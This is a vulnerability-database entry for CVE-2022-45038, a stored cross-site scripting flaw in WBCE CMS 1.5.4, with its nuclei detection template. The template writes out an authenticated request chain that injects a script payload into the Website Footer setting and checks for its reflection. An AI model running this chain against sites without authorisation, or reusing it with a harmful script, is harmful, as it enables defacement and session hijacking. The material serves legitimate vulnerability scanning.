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CVE-2022-45038· wbce / wbce cms· CWE-79
WBCE CMS v1.5.4 - Cross Site Scripting (Stored)
mediumseverity
5.4CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it
A cross-site scripting (XSS) vulnerability in /admin/settings/save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Website Footer field.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Upgrade to a patched version of WBCE CMS or apply the necessary security patches provided by the vendor.
How to confirm it
Send: GET /admin/login/index.php ; POST /admin/login/index.php ; GET /admin/settings/ ; POST /admin/settings/save.php ; GET /search/index.php
Positive when: contains "<script>alert(document.domain)</script>" and "Results For" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-45038 -u <target>
The full check
id: CVE-2022-45038
info:
name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored)
author: theamanrawat
severity: medium
description: |
A cross-site scripting (XSS) vulnerability in /admin/settings/save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Website Footer field.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to a patched version of WBCE CMS or apply the necessary security patches provided by the vendor.
reference:
- https://github.com/WBCE/WBCE_CMS
- https://shimo.im/docs/Ee32MrJd80iEwyA2/read
- https://nvd.nist.gov/vuln/detail/CVE-2022-45038
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-45038
cwe-id: CWE-79
epss-score: 0.01113
epss-percentile: 0.66281
cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: wbce
product: wbce_cms
tags: cve2022,cve,xss,wbce,cms,authenticated,vuln
http:
- raw:
- |
GET /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
- |
GET /admin/settings/ HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/settings/save.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
advanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password=
- |
GET /search/index.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "Results For"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: username_fieldname
group: 1
regex:
- 'name="username_fieldname" value="(.*)"'
internal: true
part: body
- type: regex
name: password_fieldname
group: 1
regex:
- 'name="password_fieldname" value="(.*)"'
internal: true
part: body
- type: regex
name: formtoken
group: 1
regex:
- 'name="formtoken" value="(.*)"'
internal: true
part: body
- type: regex
name: app_name
group: 1
regex:
- 'name="app_name" value="(.*?)"'
internal: true
part: bodyReferences
- https://github.com/WBCE/WBCE_CMS
- https://shimo.im/docs/Ee32MrJd80iEwyA2/read
- https://nvd.nist.gov/vuln/detail/CVE-2022-45038
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